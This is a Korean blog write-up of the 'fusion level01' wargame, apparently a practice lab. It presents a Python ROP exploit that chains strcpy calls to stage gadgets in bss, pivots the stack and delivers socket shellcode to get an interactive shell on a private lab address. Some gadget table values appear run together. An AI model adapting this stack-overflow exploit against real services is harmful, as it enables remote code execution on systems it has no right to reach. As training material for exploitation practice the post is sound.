BLOG main image
분류 전체보기 (224)
Reversing (13)
Pwnable (4)
Linux Kernel (3)
Crypto (2)
Wargames (68)
Programming (18)
Write Up (32)
Project (22)
Web (2)
My Life (52)
Memo (3)
etc (2)
발표자료 (1)
40,483 Visitors up to today!
Today 0 hit, Yesterday 13 hit
daisy rss
tistory 티스토리 가입하기!
2016.04.15 03:21

레벨0이랑 소스는 같은데 aslr이 추가되고 버퍼의 주소를 안알려줬다. 문제를 보고 그냥 바로 ROP를 해야겠다 생각해서 걍 ROP로 풀었었는데 풀고 다른 사람들의 풀이를 보니까 다 jmp esp 가젯을 이용해서 풀었더라.. jmp esp 가젯은 많이 사용해 본 적이 없어서 생각해 내지 못한 것 같다. 앞으로 또 써먹을 일이 있었으면 좋겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from SunKn0wn import *
 
= remote('192.168.179.151'20001)
 
strcpy_plt = 0x080489A0
leaveret = 0x8049853
ppr = 0x08049A2E
popebpret = 0x8049a78
bss = 0x0804B4A8
 
Table = [0x80481580x80493900x80499400x8049570,     # read_plt
         0x804813b0x8048d700x80499400x8049570,     # pppr
         0x80481580x80481580x80481580x8048158,     # 0
         0x8048be00x8048f170x80499400x8049570,     # bss
         0x80481580x804830c0x80481580x8048158,     # 100
         0x8048be00x8048f170x80499400x8049570]     # bss
cnt = 0
 
payload = 'A' * 139
for gadget in Table:
    payload += p32(strcpy_plt)
    payload += p32(ppr)
    payload += p32(bss + cnt)
    payload += p32(gadget)
    cnt += 1
payload += p32(popebpret)
payload += p32(bss - 4)
payload += p32(leaveret)
 
payload = 'GET ' + payload + ' HTTP/1.1'
r.recvsend(payload)
sleep(0.5)
r.send(SocketShell32)
r.interactive()
cs

페이로드를 bss영역에 복사해서 fake ebp로 페이로드를 실행하고 쉘코드를 받아서 풀었다. 지금 생각해 보니까 참 어렵게도 푼 것 같다..

'Wargames > fusion' 카테고리의 다른 글

fusion level04  (0) 2016.04.28
fusion level03  (0) 2016.04.25
fusion level02  (0) 2016.04.20
fusion level01  (0) 2016.04.15
fusion level00  (2) 2016.04.15
Name
Password
Homepage
Secret